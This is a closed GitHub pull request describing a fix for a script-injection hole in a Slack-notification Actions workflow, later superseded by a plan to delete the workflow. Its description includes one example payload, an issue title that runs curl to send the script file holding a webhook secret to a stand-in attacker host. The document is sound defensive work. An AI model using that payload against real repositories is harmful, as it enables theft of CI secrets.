fix(ci): harden slack-notify workflow against script injection - #119
Closed
anishamalde wants to merge 1 commit into
Closed
anishamalde wants to merge 1 commit into
anishamalde wants to merge 1 commit into
Conversation
The previous workflow interpolated attacker-controllable fields
(issue title, PR title) directly into a bash run: block. Because
GitHub Actions expands ${{ }} into the script text before bash
parses it, an issue titled `$(...)` executed on the runner and
could read the SLACK_WEBHOOK_URL secret out of the generated
script file ($0).
Changes:
- Move every ${{ github.event.* }} and secret into env: so bash
reads them as data at runtime, not as source text
- Build the JSON payload with jq -n --arg (correct escaping,
handles quotes/backslashes/newlines in titles)
- Pass SLACK_WEBHOOK_URL via env instead of shell interpolation
- Add permissions: contents: read at workflow level
Contributor
Author
|
Superseding this PR. After discussion, the plan is now to delete this workflow entirely (along with the copies in the other three repos that carry it) and rely on the org-wide weekly triage digest instead. Opening a deletion PR to replace this one. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
slack-notify.ymlworkflow had an unauthenticated GitHub Actions script-injection vulnerability. This PR closes it.What was wrong
The workflow interpolated attacker-controllable fields (
github.event.issue.title,github.event.pull_request.title) directly into arun:bash block:GitHub Actions expands
${{ … }}into the script text before bash parses it. That means an issue titled$(curl -sd @$0 https://attacker/)would execute on the runner. Because the same script also hadSLACK_WEBHOOK_URLinterpolated inline, injected code could read the secret out of the generated script file ($0) and exfiltrate it. No repo access was required to trigger this — just opening an issue.What this PR changes
${{ github.event.* }}field and the webhook secret intoenv:so bash reads them as data at runtime, not as source text. This removes the injection sink.jq -n --argso quotes, backslashes and newlines in titles are escaped correctly (the hand-rolled JSON in the old version also broke on any title containing a").SLACK_WEBHOOK_URLtocurlvia env, not shell interpolation, so the secret never appears in the script source.permissions: contents: readfor least-privilege on theGITHUB_TOKEN.Follow-ups (outside this PR)
SLACK_WEBHOOK_URLrepository secret. Assume the current value has been exposed and regenerate the webhook in Slack.Test plan
Test "quoted" title with $backtick) sends without breaking the JSON payloadissues,pull_request, andissue_commenteventsReferences